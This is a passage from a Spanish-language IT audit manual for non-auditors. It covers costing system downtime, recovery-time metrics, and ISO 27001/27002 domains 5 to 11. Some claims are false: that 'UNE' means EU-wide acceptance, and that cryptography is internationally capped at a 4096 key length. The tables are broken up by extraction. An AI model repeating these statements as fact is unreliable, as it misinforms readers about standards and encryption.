Esta tabla además de ser fácil de interpretar por el uso de los colores nos da idea aproximada de que tan grande es el riesgo, en función del número de vulnerabilidades, prevaleciendo sobre todas las de tipo VA Vulnerabilidad de Alto Riesgo que pueden obligarnos a investigar ¿por qué este activo físico o lógico presenta este estado? un ejemplo clásico serían aquellos activos hardware que se han dejado de fabricar, o de contratar su mantenimiento o aquellos que superen los diez años de antigüedad, debido al fenómeno de la obsolescencia programada de una parte y de otra la dificultad de reposición que a veces implica por la no disponibilidad de recambios o por la dificultad de replicar la configuración del mismo. Otro aspecto que debemos estudiar es: si los activos físicos y lógicos están interconectados, ejemplos las aplicaciones ERP / CRM todas estas aplicaciones comparten datos, y por tanto vulnerabilidades, sobre ellas tienen un factor multiplicador que debe ser tenido en cuenta a la hora de calcular el riesgo, que implica no subsanar / erradicar sus vulnerabilidades o plantearse su sustitución por otras herramientas más evolucionadas en el aspecto de la seguridad. Exponemos aquí una taxonomía de Sistemas de Información, que nos parece interesante para comprender, porque es tan importante garantizar: la correcta y adecuada gestión de la seguridad de la información, en cada uno de los diferentes niveles, de los que puede estar compuesta una organización. Página 92 de 430

Manual de Auditoria para no Auditores

Página 93 de 430

Manual de Auditoria para no Auditores

Capítulo 7 Las conclusiones y la traducción a un término universal: el Coste. Una vez tenemos el mapa de riesgos, con sus activos correspondientes, es la hora de hacer casar el mapa de riesgos y activos, lo que supone que descartando los riesgos habituales, que estamos obligados a tener cubiertos por ley, como son los daños por Incendio, Agua y otros accidentes naturales, nos queda ver cómo se puede obtener el coste del daño y su reparación posterior. Para ello tenemos que hablar de tres posibles situaciones generales, que afectan a los activos de tipo de sistema, entendiendo por sistema en este caso particular Hardware y Software, así como elementos de Telecomunicaciones, que hacen que una o varias aplicaciones ejecuten las funciones para las que se adquirieron o se desarrollaron. Coste por determinar. Valor Actual del Bien. VAB0 El valor actual del bien, este valor se rige por criterios fiscales, y es sencillo para el hardware, ya que por ejemplo un PC, un Servidor o una impresora de Red deben de estar amortizado en un plazo máximo de tres años. Otra cosa es que el criterio tributario coincida con nuestro criterio empresarial, pues es evidente que un Servidor, una Impresora de Red o los PCs no se renuevan cada tres años, salvo que estemos utilizando compras mediante alquiler con opción a compra (leasing) y otras similares o haya una causa de fuerza mayor, que justifique su cambio. En el tema del Software y dependiendo de qué tipo de Software estemos hablando el valor puede desde mantenerse a desaparecer.

Valor Añadido del Bien. VAB1 El valor añadido al bien, se puede definir como en el conjunto de horas/hombre invertido desde su instalación hasta hoy, calculando un precio medio por hora/hombre a lo largo del tiempo, es lo que podríamos decir el valor de adecuación del bien a la estructura empresarial que opera. Puede ser superior al de compra y por supuesto al de mantenimiento, esto ocurre con los cambios de versión y la migración de datos y funciones, que a veces no son compatibles y obligan por volumen casi a una instalación inicial.

Página 94 de 430

Manual de Auditoria para no Auditores Valor Añadido por Utilización. VBU0 Todo software / aplicación, tiene como valor el coste de los productos base (Licencias) más las horas de adecuación/personalización/formación/hombre necesarias, para cumplir la misión para el cual fue adquirido o desarrollado, este valor está acotado en el tiempo, pero es como el valor de compra, no desaparece y no se incrementa, sin embargo, sin datos y sin utilización, no tendría sentido pues no podría evolucionar y acabaría por volverse obsoleto y desaparecer. No olvidemos que la actividad empresarial y por ende los datos, se han de acomodar a lo que dictan las leyes, las leyes cambian y algunas con carácter anual, por ejemplo: las tributarias, por ello los datos por si mismos adquieren valor porque se definen para un espacio de tiempo donde son válidos, luego continúan siendo válidos, pero como un elemento más, de una larga cadena sobre la cual desarrollar expectativas o posibilidades o proyectos. Por tanto, debemos calcular la suma de todos valores a los que habrá que sumar lo relativo a disponer de las copias de seguridad que sostienen este valor. Por tanto, cuando hablamos de riesgo de un sistema y sus activos vinculados debemos hablar de una expresión del siguiente tipo: 𝑛

𝑛

𝑁

∑ 𝑉𝐵𝐴0 + ∑ 𝑉𝐵1 + ∑ 𝑉𝐵𝑈1 = 𝑉𝐴𝐶𝑅 1

1

1

Donde VACR significa Valor del Activo Cálculo del Riesgo y todos los sumatorio van de 1 a N porqué un sistema en nuestro caso es una suma de elementos veamos un ejemplo sistema contable para un departamento contable con 17 personas, 2 Jefe Contables y 1 Director Financiero. El resultado es esta hoja sencilla sin incluir los costes de adecuación al marco legal y sin incluir la carga inicial del sistema desde otra aplicación de contabilidad. Hardware Servidor de Red Router Firewall PCs Portátiles Impresora Red

Precio Unitario 10.000 € 1.300 € 3.509 € 400 € 500 € 600 €

Unidades

Software Windows Server 2016 SAP Business One Oracle Enterprise

Precio Unitario 882 € 1.140 € 40.000 €

Licencias

1 1 1 17 2 1

1 1 1

Subtotal Hardware + Software RRHH

Salario B/A

Subtotales Hardware 10.000 € 1.300 € 3.509 € 6.800 € 1.000 € 600 € 23.209 €

Coste / Hora 3,42 € 0,45 € 1,20 € 2,33 € 0,34 € 0,21 € 7,95 €

Subtotales Coste / Día Software / Software Año Coste / Hora 882 € 2€ 0,30 € 1.140 € 3€ 0,39 € 40.000 € 110 € 13,70 € 42.022 € 65.231 €

RRHH

Coste / Día Hardware / Año 27 € 4€ 10 € 19 € 3€ 2€ 64 €

Subtotales RRHH

194 € Coste / Día RRHH/ Año

24,27 € Coste / Hora

Página 95 de 430

Manual de Auditoria para no Auditores Director Financiero Tesoreros Directores Contables Contables

25.000,00 € 18.000,00 € 18.000,00 € 12.000 €

1 2 2 12

25.000,00 € 36.000,00 € 36.000,00 € 144.000,00 € 241.000,00 €

74,40 € 107,14 € 107,14 € 428,57 € 717,26 €

20,00 € 14,40 € 14,40 € 9,60 € 58,40 €

Total, Coste x Hora Parada

82,67 €

La conclusión económica, sin tener presente como señalamos en la página anterior, ni la adecuación o personalización del programa, ni la carga inicial de datos, sería que cada hora de parada, del área contable tendría un coste de 82,66 € / Hora. Teniendo en cuenta que el programa de contabilidad, es un caso sencillo pues recibe información de otras áreas, si considerásemos: facturación, producción, nominas, logística, todos estos costes se deberían sumar a los costes de la parada del propio departamento contable, de ahí la importancia no sólo de identificar las amenazas y vulnerabilidades, que afectan a cada una de las áreas sino que además hay que ver áreas están interrelacionadas, situación habitual cuando se utiliza un ERP donde todas las áreas están conectadas. Por tanto los tiempos que utilizan para calcular el plazo de tiempo que puede estar una compañía sin tener operativo su sistema de información, están en relación directa del coste, lo que implica el no tenerlo disponible, más los costes adicionales que supone añadir la información que se estuvo generando en sistemas de soporte alternativo y que quizás no tenga implantado todos los métodos de validación de datos, lo que supone que durante la carga para situar el re arranque del sistema, requerirá una depuración de los datos nuevos ocurridos durante la disrupción. Recordemos que estos tiempos de los que hemos hablado, antes de ver cómo vamos a segmentar cada riesgo y que acciones se tomaran de acuerdo una política que debemos haber fijado en las primeras reuniones tanto del CSGSI como del CSGA y que definen la política de riesgos.

Tiempo de Recuperación RPO RTO WRT MTD

Descripción Magnitud de la pérdida de datos medida en términos de un periodo de tiempo que puede tolerar un proceso de negocio. Tiempo Disponible para Recuperar Sistemas y/o recursos que han sufrido una alteración. Tiempo Disponible para Recuperar Datos Perdidos una vez que los sistemas están reparados. Tiempo de Recuperación de Trabajo. Periodo Máximo Tiempo de Inactividad que puede tolerar la Entidad sin entrar en colapso.

Página 96 de 430

Manual de Auditoria para no Auditores Por tanto, cuando estamos definiendo tanto el BCPR como el DPR, es decir los elementos fundamentales de la ISO 22301, deberíamos tener presente y en mente la siguiente ecuación. MTD Dpto(x) ≥ RPO + RTO Disrupción de Área MTD Dpto(y) ≥ RPO + WRT → RPO ≤ RTO Disrupción Área Adyacente Por tanto, además debemos presente que hay que elaborar un mapa de interdependencias de datos, aunque los procesos y los procedimientos estén separados por restricciones: legales, organizativas o funcionales. Antes de añadir este elemento recordemos que debemos contar con los siguientes mapas de datos para evaluar correctamente el riesgo antes de tomar una decisión. 1.- Mapa de tipos de Auditorías realizadas recordamos: Redes, Sistemas Operativos, Aplicaciones Corporativas (Correo y Suites Ofimáticas), así como ERP y CMRs, como básicas, como deseables además de las ya indicadas Bases de Datos y Desarrollo. 2.- Mapa de Vulnerabilidades resultado de las anteriores Auditorias para ver que se tiene / puede remplazar / sustituir, que se puede actualizar, que se puede reubicar en zonas menos expuestas al riesgo. Estos dos conjuntos de datos son importantes para elaborar el tercer tipo de mapa que es el de datos compartidos entre una o más áreas. Mapa de Áreas – Sistemas – Interdependencia de Datos - Temporalidad

Área 1

Área 2

Ventas

Facturación

Facturación

Logística

Logística

Contabilidad

Sistemas

Datos Comp. Clientes. Pedidos. Facturación Artículos. Urgencia Datos Pago. Urgencia. Provisión Pedidos. Artículos. Urgencia. Pedidos. Contabilidad Estado Entrega. Estado Pago.

Periodicidad

Diaria

Semanal

Semanal

Como se puede deducir a partir de los datos de esta tabla de un supuesto, muy simplificado tenemos: un sistema que tiene periodicidad diaria que es Ventas que tiene un campo llamado Urgencia del Pedido que condiciona a los demás sistemas que tienen una periodicidad semanal.

Página 97 de 430

Manual de Auditoria para no Auditores Por tanto: Ventas sería un sistema de cual hay que garantizar su continuidad y que además tiene una prioridad 1, en cuanto a recuperación y tiene por tanto el mínimo valor dentro del MTD. El siguiente sistema seria Provisión dado que salvo los pedidos urgentes el resto de pedidos puede procesar con una demora de 5 días al igual que ocurre con su proceso de contabilización por tanto Provisión tendría una prioridad 2 en cuanto a recuperación y el siguiente valor mínimo dentro del MTD después del Ventas y a la par con Facturación. Y por último contabilidad, debido a que contabilidad sólo refleja hechos legales y no supone aportación económica alguna, mientras los anteriores si suponen aportación económica y por tanto sostén de los costes operacionales, de funcionamiento de la empresa. Por tanto, la tabla idónea seria la siguiente: Área 1

Área 2

Sistemas

Prioridad / MTD Periodicidad MTD

Ventas

Facturación

Facturación

Facturación

Logística

Provisión

Logística

Contabilidad

Contabilidad

1

Diaria

1

Diaria

2

Semanal

Si tenemos los costes por hora de parada, de cada una de las áreas afectadas tendríamos una tabla como la siguiente: Sistemas

MTD Máximo

Costes de Parada

Facturación

4 horas

Ventas+ Facturación

Provisión

4 horas

Facturación + Logística + Contabilidad

Contabilidad

8 horas

Contabilidad + Logística+ Facturación + Ventas

Al final el riesgo ha de traducirse siempre a términos económicos y de tiempo dado que son las dos magnitudes, más importantes, para la correcta gestión del negocio. Una vez que tenemos tanto el mapa de riesgo tecnológicos, como su cuantificación en tiempo y en coste, podemos establecer que acciones vamos a tomar respecto a los riesgos dado que tenemos tres posibilidades.

Página 98 de 430

Manual de Auditoria para no Auditores Posibles acciones 1ª Asumirlo si es en términos de tiempo y coste sí es asumible. 2ª Mitigarlo en términos económicos mediante un seguro o varios. 3ª Transferirlo hacia un tercero que pase a prestar el servicio.

1ª Posibilidad Asumir Tiempo y Coste. El área implicada junto siempre con el área financiera debe establecer umbrales por debajo de los cuales los costes en tiempo y el coste económico se asume sin requerir acciones de consulta. 2ª Posibilidad Seguros y Reaseguros. Es posible que si la disrupción, es importante tengamos que hacer frente a reclamaciones vía judicial, con la consiguiente pérdida de reputación, aunque sea un tercero el responsable de la disrupción, no siempre es posible ponerlo en conocimiento de los afectados, a tiempo por lo que además de tener un seguro, que nos cubra frente a esas indemnizaciones debemos tener en cuenta que tendremos que realizar una campaña de información frente a los afectados para aclarar que la disrupción es externa y ajena al servicio que prestamos. Por lo que además debemos tener previsto vías alternativas y sistemas redundantes para que los usuarios no perciban la disrupción o en caso de que la perciban de forma amortiguada. 3ª Posibilidad transferir a un tercero la prestación de un tipo determinado de servicios. Es una medida complementaria a la anterior, para aquellos tipos de organizaciones, que no quieren tener sistemas redundantes o alternativos, más allá de los propios para garantizar la operativa interna mínima necesaria en caso de disrupción. En algunos casos esta alternativa es más económica que ir a la redundancia de sistemas y proveedores. Es posible que las tres acciones se den bajo una misma empresa, dependiendo de las áreas y de los tipos de servicios. El siguiente ejemplo es una definición de la empresa española de seguros Mapfre y como evalúan los riesgos, así como muestra los rangos y sus límites de tolerancia.

Página 99 de 430

Manual de Auditoria para no Auditores Lo más importante es que una vez que hemos traducido a Tiempo y Costes, los riesgos, hemos tomado consciencia de lo que nos puede ocurrir, sabemos cuáles son los puntos más vulnerables para garantizar los tres atributos más importantes de nuestro principal activo la información que son: la Integridad, la Disponibilidad y la Confidencialidad de la misma. Veamos que son cada uno de estos atributos, para comprender mejor el concepto que hay tras el objetivo de la norma ISO 27001 Gestión de la Seguridad de la Información, y luego veremos cómo los riesgos entiéndase vulnerabilidades Software y sobre todo la Ingeniería Social puede hacer inservible toda la información que nuestra empresa dispone sobre sí misma y sobre sus proveedores y clientes a la vez. Integridad de la Información Definición Vigente 2017 Es la propiedad que busca mantener los datos libres de modificaciones, no autorizadas. (No es igual a integridad referencial en bases de datos.) Grosso modo, la integridad es mantener con exactitud la información tal cual fue generada, sin ser manipulada ni alterada por personas o procesos no autorizado La integridad también es la propiedad que busca proteger que se modifiquen los datos libres de forma no autorizada, para salvaguardar la precisión y completitud de los recursos. La violación de integridad se presenta cuando un empleado, programa o proceso (por accidente o con mala intención) modifica o borra datos importantes que son parte de la información. La integridad garantiza que los datos permanezcan inalterados excepto cuando sean modificados por personal autorizado, y esta modificación sea registrada, asegurando su precisión y confiabilidad. La integridad de un mensaje se obtiene adjuntándole otro conjunto de datos de comprobación de la integridad: la firma digital es uno de los pilares fundamentales de la seguridad de la información. Disponibilidad de la Información Definición Vigente 2017 La disponibilidad es la característica, cualidad o condición de la información de encontrarse a disposición de quienes deben acceder a ella, ya sean personas, procesos o aplicaciones. Grosso modo, la disponibilidad es el acceso a la información y a los sistemas por personas autorizadas en el momento que así lo requieran. En el caso de los sistemas informáticos utilizados para almacenar y procesar la información, los controles de seguridad utilizados para protegerlo, y los canales

Página 100 de 430

Manual de Auditoria para no Auditores de comunicación protegidos que se utilizan para acceder a ella deben estar funcionando correctamente. La alta disponibilidad sistemas objetivo debe estar disponible en todo momento, evitando interrupciones del servicio debido a cortes de energía, fallos de hardware, y actualizaciones del sistema. Para ello se debe tener presente lo que se muestra en la ilustración siguiente.

Garantizar la disponibilidad implica también la prevención de ataque de denegación de servicio. Para poder manejar con mayor facilidad la seguridad de la información, las empresas o negocios se pueden ayudar con un sistema de gestión que permita conocer, administrar y minimizar los posibles riesgos que atenten contra la seguridad de la información del negocio. La disponibilidad además de ser importante en el proceso de seguridad de la información es además variada en el sentido de que existen varios mecanismos para cumplir con los niveles de servicio que se requiera. Tales mecanismos se implementan en infraestructura tecnológica, servidores de correo electrónico, de bases de datos, de web etc., mediante el uso de clústeres o sistemas redundantes de discos, equipos en alta disponibilidad a nivel de red, servidores espejo, replicación de datos, redes de almacenamiento (SAN), enlaces redundantes, etc. La gama de posibilidades dependerá de lo que queremos proteger y el nivel de servicio que se quiera proporcionar.

Página 101 de 430

Manual de Auditoria para no Auditores Confidencialidad de Información Definición Disponible 2017 La confidencialidad es la propiedad que impide la divulgación de información a individuos, entidades o procesos no autorizados. A grandes rasgos, asegura el acceso a la información únicamente a aquellas personas que cuenten con la debida autorización. Por ejemplo, una transacción de tarjeta de crédito en Internet requiere que el número de tarjeta de crédito a ser transmitida desde el comprador al comerciante y el comerciante de a una red de procesamiento de transacciones. El sistema intenta hacer valer la confidencialidad mediante el cifrado del número de la tarjeta y los datos que contiene la banda magnética durante la transmisión de los mismos. Si una parte no autorizada obtiene el número de la tarjeta en modo alguno, se ha producido una violación de la confidencialidad. La pérdida de la confidencialidad de la información puede adoptar muchas formas. Cuando alguien mira por encima de su hombro, mientras usted tiene información confidencial en la pantalla, cuando se publica información privada, cuando un laptop con información sensible sobre una empresa es robado, cuando se divulga información confidencial a través del teléfono, etc. Todos estos casos pueden constituir una violación de la confidencialidad. La confidencialidad es el único atributo de la información, que una vez que se ha perdido no es recuperable, ya que está vinculado con toda una serie de mecanismos cuya única misión es que sólo las personas y los procesos autorizados, puedan acceder a los datos de forma transparente, mientras para los no autorizados deben ser opacos e inutilizables, ello requiere el uso de dispositivos hardware y avanzadas técnicas software, que permiten ocultar la auténtica información a aquellos, que no están autorizados, mediante sistema criptográficos, que convierten la transparencia en opacidad y viceversa sólo a los autorizados, mediante la disponibilidad y garantizando la integridad dimensiones vista en las dos anteriores definiciones a esta. En este punto es cuando vamos a empezar en realidad hablar de la norma ISO / IEC 27001. Pero antes hagamos un recordatorio de los que llevamos realizado antes de empezar con la aplicación de la norma tanto 27001 o 27002 y ver que son los controles, como están organizados, a que se aplican, y que trabajos deben hacer los auditores, para entregarnos un informe que nos sirva de base cara a dos objetivos que son: Primero certificarnos, sí es lo que hemos decido, con lo que ello implica y segundo el punto que es el re arranque para volver a iniciar el ciclo de Deming o PDCA.

Página 102 de 430

Manual de Auditoria para no Auditores

En realidad, con independencia de alineación acreditación/certificación toda organización debería acometer de un desempeño real de las Normas ISO 31000 Gestión del Riesgo (Empresarial) y por tanto también un desempeño de la norma ISO / IEC 22301 que, aunque pueda parecer que afecta sólo a los sistemas tecnológicos de la empresa, afecta tanto a los sistemas tecnológicos, como a los no tecnológicos o sea de información. Hoy en día es imposible desvincularlos lo que es importante es preparar a la organización para desarrollar de forma correcta el proyecto, y esto implica una preparación previa, tanto por la parte de TIC / SI como la parte la gestión del negocio, ya que como señalamos son los responsables del Negocio, quienes deben clasificar y categorizar sus sistemas de información y priorizarlos, así como deben participar de forma activa en la identificación y clasificación de los riesgos, no tecnológicos, que afectan a su área para posteriormente desarrollar de forma conjunta con TIC /SI la parte correspondiente en el proyecto de recuperación, y restablecimiento operativo, en caso de desastre o bien en los proyectos de cambios, eso significa implicación y compromiso. Quizás, aunque Usted lo no sepa, o no sea consciente de ello , cada día está recibiendo aplicaciones directas, de normativas de la vida cotidiana, sobre su persona, y eso es lo que a veces hacemos, cuando pedimos mejorar nuestras comunicaciones, nuestros ordenadores, nuestras aplicaciones, etc… eso forma parte activa tanto de la 31000 como de la 22301, ya que al mantener activos y actualizados nuestros sistemas, nos volvemos más competitivos, que aquellos que adoptan determinados sistemas y simplemente se limitan a operar con ellos sin tener presente, que cabe la posibilidad de que ocurra un accidente / incidente y que nos quedemos sin sistemas y sin información, y que ni siquiera tengamos previsto sistemas alternativos, para frente a esas circunstancias, eso se traduce en mala reputación por falta de previsión a la hora de garantizar los servicios tanto a los clientes externos como internos de cualquier organización. Página 103 de 430

Manual de Auditoria para no Auditores

Capítulo 8 La Nomenclatura y Estructura de las Normas Normas ISO – ISO / IEC – ISO – UNE. Me imagino que Usted se estará preguntando a estas alturas del libro porque unas veces las normas se llaman ISO otras veces se llaman ISO / IEC y otras veces aparecen como ISO-UNE. Si la norma aparece como ISO o ISO – UNE quiere decir que se trata de una norma de Gestión sin componentes técnicos de ningún tipo, sin embargo, cuando aparece como ISO / IEC quiere indicar que tiene componentes técnicos de algún tipo. Las letras UNE significa que esta aceptada por todos los países de la Unión Europea. Además de aclarar lo de la nomenclatura de las normas, con el número de que identifica la temática o foco de atención, siempre tiene un formato como el siguiente ISO/ IEC 27001:2013 después de identificar el tipo de norma, el objeto de la norma siempre se acompaña de :año de publicación / vigencia esto es debido a que las normas ISO sufren revisiones y cambios, y esto sirve para indicar cuando se hace una Auditoria de Certificación / Acreditación que conjunto de Dominios, Controles y Métricas se utilizaron para acreditar el cumplimiento de lo que la norma establece para reconocer su desempeño esto es: documentación, procedimientos, usos, y responsabilidades de cada una de las tareas, así como registros y evidencias de cumplimiento. Las normas eran muy heterogéneas, en cuanto a su organización, lo que dificultaba su integración en macro sistemas, por lo que se decidió adoptar un esquema único para todas ellas por lo que las más antiguas deberán adecuarse al mismo y por él qué se regirán todas las posteriores al año 2013 este esquema además mantener el formato relativo a la nomenclatura consta de las siguientes partes:

Y dentro de este esquema también se estableció que los 4 primeros dominios fueran los siguientes con independencia de si se trata de una norma de gestión ISO / ISO- UNE o de una norma técnica ISO – IEC.

1.2.3.4.-

Alcance Términos y Definiciones Referencias Normativas. Contexto de la Organización.

Página 104 de 430

Manual de Auditoria para no Auditores 5.6.7.8.9.10.-

Liderazgo. Planificación. Soporte. Operación. Evaluación del desempeño. Mejora

Las partes enmarcadas son comunes a cualquier norma ISO. En nuestro caso al hablar de la ISO 27001 debemos tener presentes los siguientes datos sobre la norma son: 14 dominios 35 Objetivos de Control y 114 Controles. Como hemos señalado los Dominios de 1 a 4 son universales y dado su contenido, son más que otra cosa declaraciones de términos y referencias, salvo el alcance que se acotara si aplica que partes de la organización en particular van a ser sometidas a examen de certificación/acreditación. El punto 4 es importante porqué una vez definido el alcance que debe ser aprobado por la Dirección de la Empresa de forma conjunta con la empresa Auditoria y la empresa Certificadora, dado que no pueden ser la misma, es aquí donde se deben de crear tanto el Comité Central de Gestión de la Seguridad de la Información CSGSI como el Comité Central del Sistema de Gestión de Activos CSGA y puesto que toda la empresa trabaja con información ,se puede decir sin lugar a equívocos que la 27001, es una norma de carácter global que afecta a toda la organización. Aunque se certifica utilizando la 27001, la 27002 señala el conjunto de buenas prácticas que toda organización debería seguir, para poderse certificar por lo que vamos a tomar a esta última, como referencia para ver que se espera de nuestra organización desde la óptica de la entidad certificadora.

Página 105 de 430

Manual de Auditoria para no Auditores

Capítulo 9 Políticas Organización y Seguridad de la Información. Dominio 5 & 6

El Dominio es el punto 5 y el punto 5.1 genera el primer documento importante que es el documento, donde se definen: las políticas de seguridad de la información y que es un documento de carácter general, donde no se detalla en exceso, en que consiste dicha política, pero que, si explicita que conductas que se consideran no aceptadas, dentro de la organización; por ejemplo, el uso de software pirata, o el uso de sistemas de descarga de contenidos P2P; serían ejemplos claros de esta política. El punto 5.2 sólo establece con que periodicidad se revisará la política y quien / quienes son responsable de la revisión. El dominio 6 y 6.1.1. define que tiene que haber responsables de la seguridad de la información, dentro de cada una de las áreas. Esto son los SGSI -A/D que informan a su vez al CSGSI. La actividad 6.1.2 se tienen que definir un conjunto de tareas que tienen que ver con la gestión de incidentes vinculados con la información, así como con el cumplimiento legal, al que está obligada la empresa, en el ámbito europeo la LOPD o Reglamento para la protección de datos de carácter personal. Que define a su vez varias funciones respecto a la información su guardia y custodia, su método de obtención, etc. Esto además de ser especifico de la 27001 afecta a la norma ISO 19600 de cumplimiento de requerimientos legales. Es obvio que en una organización las áreas más afectadas por la asignación de responsabilidades son: Recursos Humanos, el área Económico-Financiera y por supuesto el Departamento de Servicios Generales que suele encargase de la Seguridad Física y por tanto del Control de Accesos, relacionados con terceros y visitas. En cuanto a la gestión de la información propiamente dichas dentro del área TIC los responsables más afectados directamente tienen que ver con la gestión de control de accesos y la monitorización de los mismos, mediante el estudio sistemático de logs del sistema. En cuanto a las actividades 6.1.3 - 6.1.4.son actividades reservadas para los responsables de las áreas de negocio, así como la 6.1.5 que está vinculada con la ISO 25100. Página 106 de 430

Manual de Auditoria para no Auditores

Las actividades del grupo 6.2 son competición exclusiva del área TIC, así como del área de asesoría legal y recursos humanos trabajando de forma conjunta con el área de comunicaciones dentro del área TIC. Hay que señalar hay una componente jurídica (contrato de trabajo y convenio de empresa) una componente disciplinaria (uso adecuado y aceptado) de los recursos tecnológicos y esto es competencia de recursos humanos y por último el control de acceso tanto en modo local y como en modo remotos de los recursos humanos con relación a ciertos trabajos.

Capítulo 10 Recursos Humanos. Dominio 7 Los controles del dominio 7 el relativos a Recursos Humanos son de los conjuntos de controles más difíciles de realizar, por ejemplo 7.1.1 y 7.1.2 debido a las múltiples restricciones legales que existen, muchas al amparo del reglamento de la ley de protección de datos de carácter personal. Casi nadie comprueba los antecedentes personales, dada la posibilidad real, de oponerse a que se faciliten datos de empresas donde hubo: actuaciones desfavorables, o sencillamente omitiendo datos de forma intencionada en el Curriculum. Tanto la asesoría legal como recursos humanos deben dejar muy claro y bien establecido que todo el personal puede ser monitorizando, siempre y cuando, no se vulneran ningún de los preceptos recogidos en la ley que protege el secreto de las telecomunicaciones incluyendo todos los métodos telemáticos posibles. Los controles grupo 7.2 y en especial el 7.2.3 además de estar regulados por la ley que protege el secreto de las comunicaciones en todas sus formas y tecnologías, están regulados a su vez por los convenio sectoriales y empresariales del ámbito del procedimiento laboral otra restricción adicional. El control 7.2.3 y el 7.3.1 son controles que la mayoría de las organizaciones desempeña de forma insatisfactoria, debido a las inexistentes comunicaciones que existe entre Legal, Recursos Humanos, Seguridad Física y Control de Accesos, pues es frecuente, que ex empleados, que han sido despedidos o que han dejado la compañía sigan manteniendo sus cuentas de correo activas e incluso sus accesos remotos, cosa que de haber una comunicación eficiente entre las áreas señaladas no debería de ocurrir. De hecho, basta con realizar una revisión rutinaria para comprobar que esto es práctica habitual cuando debería ser un hecho aislado.

Página 107 de 430

Manual de Auditoria para no Auditores El cambio de puesto o el despido de un empleado independientemente de su nivel jerárquico, crea una situación especial, dado que solo un juez puede determinar cuándo una relación contractual puede darse por finalizada, en caso de despido, hasta que no se disponga de sentencia firme y no recurrible a instancia superior, la empresa en su área jurídica de recursos y dentro del área TIC Control de acceso en particular, deberían proceder de la siguiente forma, para no incumplir ninguna garantía jurídica, crear una carpeta temporal donde almacenar todos los documentos, proyectos y otros asuntos que el empleo estuviera tratando antes del proceso disciplinario o despido, y trasvasar ahí todos los documentos, proyectos, etc…, una vez transferidos a las personas que se le asignen, la cuenta quedará bloqueada hasta la sentencia definitiva. El mismo procedimiento es válido igualmente para un cambio de puesto lo que ocurre es que el proceso es más simple, se crea la carpeta temporal se reasignan los asuntos y sólo entonces se podrá dar de baja y alta en su nuevo grupo.

Capítulo 11 Gestión de Activos. ISO 55001 Dominio 8

El grupo 8 tiene que ver de forma directa con la ISO 55001, con la gestión de Activos de lo que hablamos al principio y que retomamos al hablar de las vulnerabilidades y amenazas por tanto del riesgo. Todos los controles del primer grupo, son propios de la 55001 sin embargo todos los del grupo 2 que son específicos de la 27001 y tienen que ver tanto con Activos Físicos como Lógicos, aquí se incluirá también la nuble, ya que antes de subir información sensible a la nube, debemos tomar todas las precauciones posibles desde seleccionar métodos de segmentación y encriptado de información que sean robustos y fiables, precarga en la nube, pasando por la redundancia en soporte y ubicaciones múltiples. El grupo de controles del tercer bloque tiene mucho que ver con la seguridad física y con la Ingeniería Social. También en este tercer bloque hay una referencia a la ISO 14001 cuando hablamos de la eliminación de soportes de almacenamiento, desde papel a todos los medios, tanto electromagnéticos como ópticos, que deben ser destruidos, bajo un estricto control para evitar fugas de información, de todo nivel y clase, que además también puede generar incumplimientos respecto al reglamento de protección de datos de carácter personal. Página 108 de 430

Manual de Auditoria para no Auditores

Es adecuado y necesario, realizar peritajes tanto: si la destrucción se realiza de forma interna, más cuando se transfiere a un tercero, en especial con todos los medios electromagnéticos y ópticos. Es muy importante tener un control físico mediante documentos e imágenes de los soportes, que se retiran anotando incluso los números de serie en el caso de las unidades de disco duro.

Capítulo12 Control de Accesos Físicos y Lógicos Dominio 9

El grupo 9 el control de accesos como hablamos cuando nos referimos al dominio 7 Recursos Humanos es uno de las más complejos de implantar de forma satisfactoria. La política de control de accesos implica tanto al personal internos, como al personal externo y las visitas. Se debe definir de forma específica dentro del grupo 9.1 en el control 9.1.2 el uso de protocolos seguros y la aplicación de restricciones para aquellos protocolos o recursos de los sistemas operativos en los clientes de las redes que no cumplan un nivel mínimo de seguridad. Como es lógico todo el bloque de controles del 9.2 depende en gran medida del tipo de sistema operativo Servidor / Cliente que se tenga en uso y operación, teniendo siempre presente que tanto el Sistema Operativo del Servidor como el de Cliente están debidamente actualizados y que los recursos críticos relacionados con la seguridad en ambos entornos no son accesibles a los usuarios habituales que deberán operar con el principio del mínimo privilegio salvo que la aplicación no permita su uso en esta modalidad. Es importante tener presente que los controles dentro del bloque 9.2 y 9.4 además de aplicarse a los Sistemas Operativos tanto Clientes como Servidor interactúan de una forma íntima con las Redes, por lo que cuando se realice la Auditoria de Redes y de Sistemas Operativos se realizarán dos veces los mismos controles, debiéndose obtener resultados idénticos en ambas ocasiones. Página 109 de 430

Manual de Auditoria para no Auditores Es muy importante tener patrones de comportamiento y usuarios creados que se correspondan con estereotipos de usuarios reales para verificarlo contra aplicaciones al menos a nivel de acceso. Es muy importante verificar todo lo relativo a la gestión de contraseñas a través de un ciclo de vida completo. Además de las Auditorias de Red y Sistemas Operativos, todos las aplicaciones y procesos de integración deberán ser validos mediante la Auditoria de Desarrollo y de Base de Datos en especial todo lo relativo a las inyecciones de tipo SQL. En la próxima sección vamos analizar las secciones 10 y 11 de la norma que tienen que ver con la criptografía y con la seguridad ambiental y de las instalaciones que además se relacionan no sólo con normas ISO-IEC sino con otras normativas como son en este caso la TIA 942 y sus normas asociadas de las cuales hablaremos de manera muy sucinta.

Capítulo 13 y 14 Cifrado y Seguridad Física y Ambiental. Dominios 10 -11 - ISO 14001

10.1.1 y 10.1.2 En lo relativo a la criptografía la única restricción existente y que está establecida a nivel internacional es la longitud máxima de la cadena que se utiliza para cifrar la información, de acuerdo con el algoritmo seleccionado, que está fijada en una longitud máxima de 4096. 11. Seguridad Física y Ambiental. En esta sección además de las normas habituales, intervienen normas que no son del ámbito ISO, sino de la IFT e incluso de los gobiernos de cada país donde está regulada por ley las funciones de las empresas de seguridad privada. 11.1.1 Es función de los vigilantes de seguridad privada el control, relativo al perímetro de la seguridad física de la instalación mediante los medios disuasorios permitidos por ley como el vallado, la video vigilancia, las rondas perimetrales, uso de sensores de movimiento, etc.

Página 110 de 430

